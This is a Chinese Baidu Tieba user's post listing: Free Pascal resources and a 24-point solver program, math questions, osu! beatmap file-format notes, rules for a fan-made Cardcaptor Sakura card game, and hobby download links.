ax_pokl
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【问题】这局黑必胜么?
【资源】新版Display单元库,写游戏不用愁 直接调用WindowsGDIAPI。 支持任意大小窗口,24位RGB真彩色 支持字符串输出;可更改字体大小,颜色,粗细等。 支持简单绘图,如:画点,画线,画矩形,画椭圆等。 支持文件拖拽以及键盘,鼠标事件的获取和发送。 支持BMP位图光栅透明读入,复制,拉伸及绘制到屏幕。 支持各种类型音频文件播放,音量控制及快进快退。可播放多个音频文件。 下载地址: http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fpan.baidu.com%2Fs%2F1pJqJcD1&urlrefer=9ec6d687ac6f11cae4f603261b7c7160 更多内容: http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Faxpokl.ys168.com%2F&urlrefer=908b2e6bb1d035d72617903015faf85a
【游戏】bestgomoku世界上最强的五子棋软件(测试版) http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fpan.baidu.com%2Fs%2F1kTsk9rL&urlrefer=4440ab1e3a5f60a3043287916091f3f2
【视频】弹了两首钢琴曲练习练习 视频来自:http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.tudou.com%2Fprograms%2Fview%2F2Lrb1-ySLG8%2F&urlrefer=a9c2e68deb27513b0d2bb713cf12bb4f
【游戏】【申精】Combine小游戏(纯Pascal编写) http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fpan.baidu.com%2Fs%2F1sjuFvat&urlrefer=49661a6acb0e3fb239e890a1629c5bca
【资源】Free Pascal 内部函数 //Free Pascal 内部函数 //单元库所有函数最终皆调用自以下函数或者Windows API //位处理函数 fpc_in_lo_word = 1;//返回word后一半 fpc_in_hi_word = 2;//返回word前一半 fpc_in_lo_long = 3;//返回long后一半 fpc_in_hi_long = 4;//返回long前一半 fpc_in_lo_qword = 106;//返回qword后一半 fpc_in_hi_qword = 107;//返回qword前一半 fpc_in_low_x = 27;//返回后一半 fpc_in_high_x = 28;//返回前一半 fpc_in_const_swap_word = 104;//word前后对换 fpc_in_const_swap_long = 105;//long前后对换 fpc_in_const_swap_qword = 108;//qword前后对换 fpc_in_ror_x = 65;//往右旋转1位 fpc_in_ror_x_x = 66;//往右旋转x位 fpc_in_rol_x = 67;//往左旋转1位 fpc_in_rol_x_x = 68;//往左旋转x位 //数据类型函数 fpc_in_ord_x = 5;//任何数据类型转long fpc_in_sizeof_x = 22;//返回数据类型byte长度 fpc_in_bitsizeof_x = 61;//返回数据类型位长度 fpc_in_ofs_x = 21;//返回数据类型偏移地址 fpc_in_seg_x = 29;//返回数据类型段地址 fpc_in_typeof_x = 23;//返回数据类型 fpc_in_typeinfo_x = 43;//返回数据类型信息 //增减函数 fpc_in_pred_x = 30;//返回前继 fpc_in_succ_x = 31;//返回后继 fpc_in_inc_x = 35;//增一 fpc_in_dec_x = 36;//减一 //char函数 fpc_in_chr_byte = 7;//char转byte fpc_in_fillchar_x = 55;//填内存 fpc_in_move_x = 54;//复制byte //string|数组函数 fpc_in_length_string = 6;//返回string长度 fpc_in_setlength_x = 44;//设置string|数组长度 fpc_in_concat_x = 18;//连接string(相当于+) fpc_in_val_x = 24;//string转数字 fpc_in_str_x_string = 20;//数字转string fpc_in_copy_x = 49;//复制string fpc_in_pack_x_y_z = 59;//压缩数组 fpc_in_unpack_x_y_z = 60;//解压数组 //指针函数 fpc_in_assigned_x = 19;//判断指针是否空 fpc_in_addr_x = 42;//返回地址(相对于@) fpc_in_const_ptr = 103;//返回指针(相当于^) fpc_in_new_x = 46;//绑定指针 fpc_in_dispose_x = 47;//释放指针 //IO函数 fpc_in_write_x = 14;//输出 fpc_in_read_x = 16;//输入 fpc_in_writeln_x = 15;//输出行 fpc_in_readln_x = 17;//输入行 fpc_in_writestr_x = 62;//输出字符串 fpc_in_readstr_x = 63;//输入字符串 //文件函数 fpc_in_rewrite_x = 26;//写文件 fpc_in_reset_x = 25;//读文件 fpc_in_rewrite_typedfile = 33;//写文本文件 fpc_in_reset_typedfile = 32;//读文本文件 fpc_in_settextbuf_file_x = 34;//设置文本文件缓冲区 //集合函数 fpc_in_include_x_y = 37;//元素属于集合 fpc_in_exclude_x_y = 38;//元素不属于集合 //控制函数 fpc_in_break = 39;//暂停 fpc_in_continue = 40;//继续 fpc_in_assert_x_y = 41;//条件退出 fpc_in_exit = 48;//退出 //子程序函数 fpc_in_get_frame = 56;//返回子程序架构 fpc_in_get_caller_addr = 57;//返回子程序地址指针 fpc_in_get_caller_frame = 58;//返回子程序架构指针 fpc_in_finalize_x = 45;//结束子程序 fpc_in_initialize_x = 50;//初始化子程序 //macpas函数 fpc_in_leave = 51;// fpc_in_cycle = 52;// fpc_in_slice = 53;// //其它函数 fpc_in_prefetch_var = 109;//优化CPU //数学函数 fpc_in_pi_real = 126;//圆周率 fpc_in_const_odd = 102;//判断奇数 fpc_in_const_sqr = 100;//平方 fpc_in_sqr_real = 128;//平方 fpc_in_sqrt_real = 129;//平方根 fpc_in_const_abs = 101;//绝对值 fpc_in_abs_long = 64;//绝对值 fpc_in_abs_real = 127;//绝对值 fpc_in_trunc_real = 120;//取整(向下取) fpc_in_round_real = 121;//取整(四舍五入) fpc_in_int_real = 123;//取整(截小数) fpc_in_frac_real = 122;//取小数 fpc_in_exp_real = 124;//自然指数 fpc_in_ln_real = 131;//自然对数 fpc_in_sin_real = 132;//正弦 fpc_in_cos_real = 125;//余弦 fpc_in_arctan_real = 130;//反正切 //协处理器函数 fpc_in_mmx_pcmpeqb = 200;//比较byte数组 fpc_in_mmx_pcmpeqw = 201;//比较word数组 fpc_in_mmx_pcmpeqd = 202;//比较dword数组 fpc_in_mmx_pcmpgtb = 203;//比较short数组 fpc_in_mmx_pcmpgtw = 204;//比较int数组 fpc_in_mmx_pcmpgtd = 205;//比较long数组
【求证】二次有理数都能表示成循环连分数的形式 RT
【测试】用socket网络编程写了个聊天程序
【资源】《实妹相伴的大泉君》钢琴谱汇总 这几天比较闲抓了几个谱传到了网上,欢迎各位音乐爱好者和钢琴演奏者进行吐槽。 以下是我抓的: こぼれ落ちた雫 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.gangqinpu.com%2Fhtml%2F22874.htm&urlrefer=4094f9b3f3336cfd8f7d046858213caa Dear little sister http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.gangqinpu.com%2Fhtml%2F22834.htm&urlrefer=0e764159bbd8536d1979a970eab08689 past http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.gangqinpu.com%2Fhtml%2F22848.htm&urlrefer=8d1862ec90fbeff7c4bbf202d931aa24 以下是其它网友抓的 そばにいるよ http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.gangqinpu.com%2Fhtml%2F18231.htm&urlrefer=dfe07de1e8409d970ffd5fdbba7cf2b2 素直になれたら http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.gangqinpu.com%2Fhtml%2F20260.htm&urlrefer=4fdd2b60a51bc11890a86fa204701a3b はじまりの呗 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.gangqinpu.com%2Fhtml%2F15840.htm&urlrefer=ed45e11cd969f8febe73c232f47da24c 虽然感觉这三个谱里还有很多错误,不过有总比没有好,也懒得再抓一遍了。 也欢迎各位网友发现谱中错误时给于纠正和谅解。
【水】大家发现了没有,栞线和序章相同的话的配音略有不同 RT
【程序】用free pascal写了一个24点暴力计算器 const n=132; const plus=%0001; const muls=%0010; const mins=%0100; const divs=%1000; var a1,a2,a3,a4:integer; var a,b,c,k:array[1..4]of integer; var i1,i2,i3,i4,i5,i6,i7,i8,i9,i0:integer; var j1,j2,j3,j4,j5,j6,j7,j8,j9,j0:integer; var k1,k2,k3,k4,k5,k6,k7,k8,k9,k0:integer; var m1,m2,m3,m4,m5,m6,m7,m8,m9,m0:integer; var can,next:boolean; var sum,sum1,sum2:real; procedure outk(k:integer); begin if k=1 then write('+'); if k=2 then write('*'); if k=3 then write('-'); if k=4 then write('/'); end; procedure outi(i:integer); begin write(i); end; procedure outp(i:integer); begin if i<=9 then write(i); if i=10 then write('0'); if i=11 then write('J'); if i=12 then write('Q'); if i=13 then write('K'); end; procedure test(flag:integer); begin for j1:=1 to 4 do for j2:=1 to 4 do for j3:=1 to 4 do for j4:=1 to 4 do begin if (j1<>j2) and (j1<>j3) and (j1<>j4) and (j2<>j3) and (j2<>j4) and (j3<>j4) and not(can) then begin b[j1]:=a[1]; b[j2]:=a[2]; b[j3]:=a[3]; b[j4]:=a[4]; for k1:=1 to 4 do for k2:=1 to 4 do for k3:=1 to 4 do begin next:=false; if can then next:=true; if not(next) then begin if (k1=1) and ((flag and plus)=0) then next:=true; if (k2=1) and ((flag and plus)=0) then next:=true; if (k3=1) and ((flag and plus)=0) then next:=true; if (k1=2) and ((flag and muls)=0) then next:=true; if (k2=2) and ((flag and muls)=0) then next:=true; if (k3=2) and ((flag and muls)=0) then next:=true; if (k1=3) and ((flag and mins)=0) then next:=true; if (k2=3) and ((flag and mins)=0) then next:=true; if (k3=3) and ((flag and mins)=0) then next:=true; if (k1=4) and ((flag and divs)=0) then next:=true; if (k2=4) and ((flag and divs)=0) then next:=true; if (k3=4) and ((flag and divs)=0) then next:=true; end; if can then next:=true; if not(next) then begin sum:=0; if k1=1 then sum:=b[1]+b[2]; if k1=2 then sum:=b[1]*b[2]; if k1=3 then sum:=b[1]-b[2]; if k1=4 then sum:=b[1]/b[2]; if k2=1 then sum:=sum+b[3]; if k2=2 then sum:=sum*b[3]; if k2=3 then sum:=sum-b[3]; if k2=4 then sum:=sum/b[3]; if k3=1 then sum:=sum+b[4]; if k3=2 then sum:=sum*b[4]; if k3=3 then sum:=sum-b[4]; if k3=4 then sum:=sum/b[4]; end; if (abs(sum-24)<0.0001) and not(can) then begin can:=true; k[1]:=k1; k[2]:=k2; k[3]:=k3; c[1]:=b[1]; c[2]:=b[2]; c[3]:=b[3]; c[4]:=b[4]; i9:=1; end; if can then next:=true; if not(next) then begin sum:=0; sum1:=0; sum2:=0; if k1=1 then sum1:=b[1]+b[2]; if k1=2 then sum1:=b[1]*b[2]; if k1=3 then sum1:=b[1]-b[2]; if k1=4 then sum1:=b[1]/b[2]; if k3=1 then sum2:=b[3]+b[4]; if k3=2 then sum2:=b[3]*b[4]; if k3=3 then sum2:=b[3]-b[4]; if k3=4 then sum2:=b[3]/b[4]; if k2=1 then sum:=sum1+sum2; if k2=2 then sum:=sum1*sum2; if k2=3 then sum:=sum1-sum2; if (k3=3) and (b[3]=b[4]) then sum:=0 else if k2=4 then sum:=sum1/sum2; end; if (abs(sum-24)<0.0001) and not(can) then begin can:=true; k[1]:=k1; k[2]:=k2; k[3]:=k3; c[1]:=b[1]; c[2]:=b[2]; c[3]:=b[3]; c[4]:=b[4]; i9:=2; end; if can then next:=true; if not(next) then begin sum:=0; sum1:=0; sum2:=0; if k3=1 then sum1:=b[3]+b[4]; if k3=2 then sum1:=b[3]*b[4]; if k3=3 then sum1:=b[3]-b[4]; if k3=4 then sum1:=b[3]/b[4]; if k2=1 then sum2:=b[2]+sum1; if k2=2 then sum2:=b[2]*sum1; if k2=3 then sum2:=b[2]-sum1; if (k3=3) and (b[3]=b[4]) then sum:=0 else if k2=4 then sum2:=b[2]/sum1; if k1=1 then sum:=b[1]+sum2; if k1=2 then sum:=b[1]*sum2; if k1=3 then sum:=b[1]-sum2; if (abs(sum2)<0.0001) then sum:=0 else if k1=4 then sum:=b[1]/sum2; end; if (abs(sum-24)<0.0001) and not(can) then begin can:=true; k[1]:=k1; k[2]:=k2; k[3]:=k3; c[1]:=b[1]; c[2]:=b[2]; c[3]:=b[3]; c[4]:=b[4]; i9:=3; end; if can then next:=true; if not(next) then begin sum:=0; sum1:=0; sum2:=0; if k2=1 then sum1:=b[2]+b[3]; if k2=2 then sum1:=b[2]*b[3]; if k2=3 then sum1:=b[2]-b[3]; if k2=4 then sum1:=b[2]/b[3]; if k3=1 then sum2:=sum1+b[4]; if k3=2 then sum2:=sum1*b[4]; if k3=3 then sum2:=sum1-b[4]; if (k2=3) and (b[2]=b[3]) then sum:=0 else if k3=4 then sum2:=sum1/b[4]; if k1=1 then sum:=b[1]+sum2; if k1=2 then sum:=b[1]*sum2; if k1=3 then sum:=b[1]-sum2; if (abs(sum2)<0.0001) then sum:=0 else if k1=4 then sum:=b[1]/sum2; end; if (abs(sum-24)<0.0001) and not(can) then begin can:=true; k[1]:=k1; k[2]:=k2; k[3]:=k3; c[1]:=b[1]; c[2]:=b[2]; c[3]:=b[3]; c[4]:=b[4]; i9:=4; end; end; end; end; if can then begin write(#9); if (flag and plus)<>0 then write('+') else write(' '); if (flag and muls)<>0 then write('*') else write(' '); if (flag and mins)<>0 then write('-') else write(' '); if (flag and divs)<>0 then write('/') else write(' '); if (flag and plus)<>0 then m1:=m1+1; if (flag and muls)<>0 then m2:=m2+1; if (flag and mins)<>0 then m3:=m3+1; if (flag and divs)<>0 then m4:=m4+1; m0:=m0+1; write(#9); write('='); if i9=1 then begin write('['); write('('); outi(c[1]); outk(k[1]); outi(c[2]); write(')'); outk(k[2]); outi(c[3]); write(']'); outk(k[3]); outi(c[4]); end; if i9=2 then begin write('('); outi(c[1]); outk(k[1]); outi(c[2]); write(')'); outk(k[2]); write('('); outi(c[3]); outk(k[3]); outi(c[4]); write(')'); end; if i9=3 then begin outi(c[1]); outk(k[1]); write('['); outi(c[2]); outk(k[2]); write('('); outi(c[3]); outk(k[3]); outi(c[4]); write(')'); write(']'); end; if i9=4 then begin outi(c[1]); outk(k[1]); write('['); write('('); outi(c[2]); outk(k[2]); outi(c[3]); write(')'); outk(k[3]); outi(c[4]); write(']'); end; end; end; begin assign(output,'24dian.txt'); rewrite(output); for a1:=1 to n do for a2:=a1 to n do for a3:=a2 to n do for a4:=a3 to n do begin i0:=i0+1; can:=false; a[1]:=a1; a[2]:=a2; a[3]:=a3; a[4]:=a4; for i1:=1 to 4 do outp(a[i1]); for i2:=1 to 15 do if not(can) then test(i2); if not(can) then write(#9,'.'); writeln(); end; writeln(i0:10,m0:10); writeln(m1:10,m2:10,m3:10,m4:10); close(output); end.
【水】大家有没有发现,麻衣和美纪灵魂调换了 麻衣线5月19日晚上,总感觉麻衣和美纪商量好调换了一下。另外前一天晚上麻衣也和神灵通话过,商讨的应该也是灵魂调换的事。
【代数】正定矩阵一定是对称的么? RT
【概率】6张纸牌 现有6张纸牌,4张红,2张蓝。 (1)随机抽3张牌,求2蓝1红概率。 (2)随机抽3张牌,求3红概率。 (3)随机抽3张牌,求2蓝1红或者3红概率。
[代数]A为可逆矩阵,求证A^T*A=A*A^T 如题,A为可逆矩阵,求证A的转置乘A=A乘A的转置。
【游戏】SES七色彩球 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fpan.baidu.com%2Fs%2F1ziJ2I&urlrefer=c28b250bc2d3be977f5d44e2cf9a24d8
【游戏】新人报到!用C语言写了个程序求吐槽 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fpan.baidu.com%2Fs%2F1inDmi&urlrefer=c62ea832660baaa689d6d3460cc8ffbe
阿列弗悖论 是否存在最大的阿列弗(基数)?如果不存在,那么全体阿列弗组成的集合的势是阿列弗多少?全体集合组成的集合的势是阿列弗多少?
贝塞尔曲线一定光滑吗? rt
发电厂提供的电子最终去了那里? 当我们使用交流电器时,导线内部会有定向流动的电子。那么这些电子最终流向了哪里?是大地还是发电厂?
【求解】难题。。
惊现惯性定律
【矩阵】证明或者证伪,若AB=A,则B=E 已知A为一矩阵,B为一方阵。如果AB=A,求证B为单位矩阵。
【问题】求错误313的解释。。
如何用mouse_event使鼠标向相对左上的方向移动? RT,dx,dy的类型都为DWORD类型,无法将负数参数代入啊。
【难题】这道题很难,求点P4的轨迹方程 已知平面上两点P1(p1x,p1y),P2(p2x,p2y)。点P3(p3x,p3y)为以P2为圆心,r为半径的圆上的一个动点。点P4(p4x,p4y)为弧P1P3P2上的一点且满足弧P1P4P3长度为常数k。求点P4关于动点P3的轨迹方程。(可用参数方程表示)
【问题】osu的滑条要满足什么条件才会变成taiko的黄条? RT,哪位神触能告诉我?
【问题】这个错误如何解决?
【问题】如何上传单一Marathon难度到Pennding Beatmap? RT
【问题】这个11能必胜么?
【原创】美味星球修改器 自己制作的一款修改器,功能简单。除此做修改器水平欠佳见谅。 http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fgood.gd%2F2713121.htm&urlrefer=d211aa718e2079f20390f0dbc7fd60ca
【教程】.osu文件格式代码说明教程 【总代码说明】 osu file format v12 ——谱面版本 [General] ——总设置 AudioFilename: [字符串] ——歌曲文件名称 AudioLeadIn: (0-3000) ——歌曲开始延迟时间 PreviewTime: {-1}(0-?) ——浏览歌曲时间(黄线):-1=从头开始播放歌曲 Countdown: {0,1} ——倒计时:0=关闭,1=普通,2=慢速,3=快速 SampleSet: {Normal,Soft,Drum} ——全局音效:Normal=普通音效,Soft=柔和音效,Drum=打击乐音效 StackLeniency: (0.2-1.0) ——叠放物品最小时间差 Mode: {0,1,2,3} ——模式:0=所有模式(OSU!),1=太鼓,2=CTB,3=mania LetterboxInBreaks: ——休息时显示聊天窗口 StoryFireInFront: ——显示故事模式于火焰效果前 EpilepsyWarning: ——显示故事模式闪烁警告 CountdownOffset: ——倒计时延迟时间 WidescreenStoryboard: ——宽屏故事模式 [Editor] ——编辑器设置 Bookmarks: [数字] ——时间标签(蓝线) DistanceSpacing: (实数) ——默认物品间距 BeatDivisor: {1,2,3,4,6,8,12,16} ——音符长短:倒数 GridSize: {1,2,4,8} ——网格大小 [Metadata] ——歌曲信息 Title:[字符串] ——标题 TitleUnicode:[Unicode字符串] ——Unicode标题 Artist:[字符串] ——作曲家 ArtistUnicode:[Unicode字符串] ——Unicode作曲家 Creator:[字符串] ——制图者 Version:[字符串] ——谱面 Source:[字符串] ——歌曲来源 Tags:[字符串] ——标签(搜索歌曲时用) BeatmapID:[数字] ——谱面编号(http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fosu.ppy.sh%2Fb%2F&urlrefer=8a3768f570f447d26af5576023b48714编号) BeatmapSetID:[数字] ——歌曲编号(http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fosu.ppy.sh%2Fs%2F&urlrefer=d61c9afb2f08e24697679f33f506bf4e编号) [Difficulty] HPDrainRate:(0-10) ——扣血 CircleSize:(2-7) ——物品大小:数字越小则大 OverallDifficulty:(0-10) ——总体难度:数字越大则击打判断区间越小 ApproachRate:(0-10) ——出现物品速度:数字越大则出现速度越快 SliderMultiplier:(实数) ——滑条速度 SliderTickRate:[数字] ——每拍滑条小点个数
【求助】SIGSEGV错误怎么解决
【原创】库洛小樱对战牌规则介绍(版本2.5) 名称 库洛小樱对战 类别 桌上游戏 机制 手牌管理 适合年龄 15+ 时间 25-45分钟 人数 2-10人 目标 指定角色体力小于1。 卡牌 库洛小樱牌分库洛牌及小樱牌两套牌组,共108张。 标准库洛、小樱牌各52张,无、爱各一张,以及库洛、小樱神兽牌各一张。 体力、魔力、角色牌若干张。 游戏开始 将卡牌洗匀,放在桌子中央,作为牌堆,此后按逆时针方向以回合的方式进行游戏。 玩家在游戏中弃置的牌放在一旁,组成弃牌堆。牌堆用尽后将弃牌堆洗匀作为牌堆使用。 回合 玩家一次一系列的行动称作回合。一名玩家回合结束后,其右边玩家(逆时针)的回合开始,依次轮流进行。 阶段 每回合分为六个阶段:预备、回魔、摸牌、装备、出牌、弃牌。 预备阶段:对某些卡牌的效果进行结算。 回魔阶段:增加1点魔力。 摸牌阶段:摸一张卡牌到手上。 出牌阶段:装备卡牌,发动卡牌,丢弃卡牌。 弃牌阶段:丢弃卡牌,失去体力、魔力到上限。 手牌 玩家手上的卡牌叫做手牌。 手牌上限为10张。任何时候,当玩家手中的卡牌数量超过10张时,必须弃置卡牌到弃牌堆直到卡牌数量为10张为止。 发动 使用卡牌的过程叫做发动。 发动卡牌需要消耗魔力,消耗魔力的大小视卡牌的效果而定。 发动完的生效的卡牌需弃置到弃牌堆。(装备牌除外) 每回合每张卡牌最多发动一次。(装备牌除外) 装备 将卡牌展示出来并竖直放置在自己面前的动作叫做装备,放置卡牌的区域叫做装备区,被装备的卡牌叫做装备牌。 装备区分为攻击装备区,防御装备区,元素装备区三个部分。每个区域最多有两张卡牌。 只有在自己回合的出牌阶段才能装备卡牌。 装备卡牌不需要消耗魔力。装备卡牌的过程不能被无效。 横置 将卡牌展示出来并横向放置在自己面前的动作叫做横置,横置卡牌的区域叫做横置区,每位玩家的横置区最多有一张卡牌。 盖置 将卡牌面朝下放置在自己面前的动作叫做盖置,盖置卡牌的区域叫做盖置区,每位玩家的盖置区最多有一张卡牌 弃牌 玩家可以在自己的回合的任何阶段弃置自己的手牌或装备牌到弃牌区 体力与魔力 体力和魔力表示角色的状态。 任何时候任意玩家可以消耗4点魔力立即为自己增加1点体力。 每个角色都有自己的体力和魔力上限。玩家可以拥有外的体力或魔力,但是必须在自己的弃牌阶段失去这些额外的体力和魔力。 克制与防御 克制或防御为某些卡牌对特定卡牌的被动效果,此时这些牌称作克制牌或防御牌。 如果某张卡牌克制另一张卡牌,那么当被克制的卡牌生效时,任意玩家可以展示这张卡牌,则被克制的卡牌无效。展示克制牌无需消耗魔力。克制牌在克制卡牌后弃置不用。 如果某张卡牌防御另一张卡牌,那么当被防御的卡牌生效时,如果生效的玩家装备了相应的防御牌,则该玩家可以消耗魔力发动防御牌进行防御。被防御的卡牌无效。 如果克制别的卡牌的牌又被其它卡牌克制,则后发动的克制牌克制先发动的克制牌。一张卡牌一旦被克制,就不可以克制其它卡牌。 克制的效果优先于防御的效果。 卡牌 卡牌分为进攻牌、武器牌和咒术牌三大类。 进攻牌 进攻牌可以改变体力或魔力。 进攻牌分为攻击进攻牌、恢复进攻牌和特殊进攻牌三种。 攻击进攻牌 攻击进攻牌可以扣除别人的体力或魔力。 每回合最多发动物理攻击进攻牌和魔法攻击进攻牌各一张(装备斗跳攻击武器牌除外)。 恢复进攻牌 恢复进攻牌可以增加自己的体力或魔力。 当角色的体力小于1时,任何人可以立即发动恢复进攻牌使该角色的体力恢复到1及以上。 将某几张恢复进攻牌组合起来发动可以额外增加自己的体力或魔力。比如花甘,波泡,歌声,雨树。 特殊进攻牌 秤可以在某两位角色体力的差值大于1时发动。 秤发动的效果可叠加多次,每叠加一次需消耗2点魔力,使这两位角色中体力较小的一方的体力增加1并使另一位体力减少1。 武器牌 武器牌可以改变攻击的效果或者进行防御。 武器牌只有在装备后才能发动,只有武器牌才能被装备。 武器牌分为攻击武器牌和防御武器牌两大类。攻击武器牌必须放置在攻击装备区,防御武器牌必须放置在防御装备区,元素武器牌必须放置在元素装备区。 武器牌分为物理武器牌和魔法武器牌两种。物理武器牌对物理攻击进攻牌产生效果,魔法武器牌对魔法攻击进攻牌产生效果。 攻击武器牌 攻击武器牌可以改变自己攻击进攻牌或别人防御武器牌的效果。 无限出牌:每回合可以发动无数张攻击进攻牌。 攻击力增加:增加发动的攻击进攻牌扣除别人的体力。 无需耗魔:发动攻击进攻牌无需消耗体力。 无视防具:受到攻击的玩家发动的特定防御武器牌无效。 防御武器牌 防御武器牌可以对特定的攻击进攻牌进行防御。 由于某些防御武器牌可能被某些牌克制,所以被克制的防御武器牌无法发动防御的效果。元素武器牌可以对特定属性的牌进行防御。 元素武器牌作为一种特殊的防御武器牌,它的防御方式有些特殊。 通常每张卡牌都有自己的属性(风水火地,双可以看作同时拥有两种属性)。 当任意玩家发动卡牌时,可以发动防御其属性的元素武器牌(消耗2点魔力)或者和其属性相同的元素武器牌(消耗3点魔力)进行防御。 元素武器牌对效果多次叠加的牌(耗魔带有+号的牌)的必须同样防御多次,否则多余次数的效果依然生效。 可以将4张相同属性的手牌作为该属性的元素武器牌放置到元素装备区。 属性克制:风->地->水->火->风。 咒术牌 咒术牌可以发动咒术效果。 咒术牌分为普通咒术牌和延时性咒术牌两大类。 普通咒术牌 普通咒术牌可以发动普通咒术效果。 某些普通咒术效果可以叠加多次,消耗的魔力视效果和叠加的次数而定。 移:转移:将某位玩家对自己发动卡牌的效果转移给除自己以外的一位玩家。消耗的魔力是对方发动产生效果的卡牌消耗的魔力的两倍。 轮:抽取:抽取玩家的手牌加入自己的手牌。每抽一张消耗2点魔力。 浮:无效:无效某位玩家对自己发动卡牌的效果。消耗的魔力和对方发动产生效果的卡牌消耗的魔力相同。 替:交换:交换两位玩家的卡牌。被交换的牌必须是同种类型的(手牌,已装备的武器牌,即将生效的延时性咒术牌)。每交换一次消耗1点魔力。 创:摸牌:从牌堆摸取卡牌。每模一张消耗1点魔力。 消:丢牌:丢弃玩家的卡牌。每丢弃一张消耗1点魔力。 镜:模仿:发动或装备某张牌时,可以将镜牌作为那张牌装备发动。也可以作为和其它玩家装备区内一样的卡牌装备起来(镜牌在发动后属性将变位被模仿的卡牌)。 模仿卡牌无需魔力,但发动卡牌需要消耗被模仿的卡牌相同的魔力。 双:复制:将某张手牌变为两张。被复制的卡牌面朝下放置视为两张相同的卡牌。 每张卡牌只能复制一次。一次性复制多张卡牌时,每复制一张消耗1点魔力。 灯:无法主动发动,只有当别的玩家发动指定的卡牌后才有被动效果。 延时性咒术牌 延时性咒术牌有令玩家跳过某些阶段或失去部分出牌能力的咒术效果。 延时性咒术牌分迷幻咒术牌、沉默咒术牌、时间咒术牌和王牌四种。 延时性咒术牌的效果总是在回合的预备阶段结算的。 迷幻咒术牌 迷幻咒术牌可以对多人产生效果,消耗的魔力视人数而定。 将迷幻咒术牌横置于自己面前,其它玩家回合开始后,发动卡牌的玩家选择是否消耗魔力使卡牌生效,直到发动卡牌的玩家的下一回合结算效果后弃置。 梦:跳过摸牌和出牌阶段。 眠:跳过回魔和出牌阶段。 迷:跳过摸牌和回魔阶段,自己下一回合跳过出牌阶段(被动效果,只要有玩家跳过摸牌和回魔阶段则自动生效)。 沉默咒术牌 沉默咒术牌对所有人都产生效果。 将沉默咒术牌横置于自己面前,其它玩家回合开始后自动生效,直到发动卡牌的玩家的下一回合结算效果后弃置。 静:跳过所有玩家的摸牌和出牌阶段。 锭:跳过所有玩家的回魔和出牌阶段。 时间咒术牌 时间咒术牌只对一位玩家产生效果。 将时间咒术牌横置于指定玩家面前,该玩家回合开始后,发动卡牌的玩家选择是否消耗魔力使卡牌生效,如不生效则弃置卡牌,否则保留卡牌。 时:跳过摸牌和出牌阶段。 戾:跳过回魔和出牌阶段。 王牌 王牌可以使一位玩家无法发动某些属性的牌。 类似于时间咒术牌,王牌首次发动时,需要消耗3点魔力(双双是2点,组合王牌是4点),受到效果的玩家无法发动对应属性的牌。之后每次发动需要消耗1点魔力。 光:无法发动火地属性的牌。(首次消耗3点魔力) 暗:无法发动风水属性的牌。(首次消耗3点魔力) 风水:无法发动风水属性的牌。(首次消耗4点魔力) 火地:无法发动火地属性的牌。(首次消耗4点魔力) 双双:无法发动水地属性的牌。(首次消耗2点魔力) 特殊牌 特殊牌可以发动特殊的效果。 无:令某位玩家丢弃所有手牌或武器牌或神兽牌或失去所有魔力。当某位玩家受到无的攻击时,其它玩家可以消耗总共7点魔力对其进行解救,则无的效果失效。 爱:当无发动后(无论是否失效),如果此时某一位玩家手上有爱时,该玩家可将爱展示出来,无和爱将被转变成希望后加入为该玩家手牌。 希望:恢复某位玩家所有体力或魔力。希望组合不可拆分。 神兽牌 只有小樱和库洛里多有神兽牌,由游戏一开始分发,每人一张。选择正面或反面,视为已装备了火地或风水。神兽牌无法主动发动,只可进行防御。 角色牌 库洛里多派:只可出库洛牌,可弃一张小樱牌增加1点魔力。 艾利欧(男):7体力;10魔力。可将体力分给斯比或魔力分给奈香。 斯比(男):5体力;5魔力。可将体力或牌分给库洛里多。 奈香(女):4体力;6魔力。可将魔力或牌分给库洛里多。 木之本樱派:只可出小樱牌。可弃一张小樱牌增加1点魔力。 小樱(女):5体力;8魔力。可消耗两倍魔力将库洛牌转为小樱牌发动。 小可(男):5体力;5魔力。可将体力或牌分给小樱。 雪兔(男):4体力;6魔力。可将魔力或牌分给小樱。 桃矢(男):9体力;3魔力。可将体力、魔力或牌分给小樱或雪兔。 知世(女):3体力,2魔力。小樱转牌耗魔只需一倍。 观月(女):6体力;9魔力。可出任意牌。小樱死后可复活一次,之后死亡。 李小狼派:可出任意牌,但必须消耗两倍魔力,可跳过出牌阶段回复2点魔力。 小狼(男):8体力;6魔力。可跳过出牌阶直接攻击(任意属性)。 霉玲(女):5体力;1魔力。小狼和自己每回合多摸一张牌。 酱油派:可弃任意牌增加1点魔力。 山崎(男):7体力,1魔力。不可出进攻牌。可看艾利欧,小狼,小樱的牌。 千春(女):5体力,1魔力。不可出咒术牌。山崎每三回合失去1点体力。 奈绪子(女):3体力,1魔力。不可进攻出牌。小樱发动创时可把手牌给她。 利佳(女):4体力,1魔力。不可咒术出牌。每受到伤害时小樱可增加相应体力。 大人派:不可出牌 藤隆(男):10体力,10魔力。第一个死亡玩家。可以摸任意牌和看别人牌,并需洗牌。 抚子(女):4体力,2魔力。死亡雪兔玩家。在桃矢出牌时可给她牌出。可给桃矢魔力。 园美(女):6体力,0魔力。死亡知世玩家。可阻止藤隆看牌,除非小樱发动过花。 寺田(男):8体力,0魔力。第二个死亡玩家。可把体力分给利佳。 李夜兰(女):6体力,8魔力。死亡小狼玩家。可把牌分给小狼 真嬉(男):7体力,1魔力。死亡大人玩家。可把牌分给小樱。
【原创】百变小樱人物能力排名 毁童年系列震楼(最喜欢这张了,感觉作为一个小学生的小樱好伟大)
【水】水滑环真蛋疼 如果把漏斗和碗连在一起会怎么样?
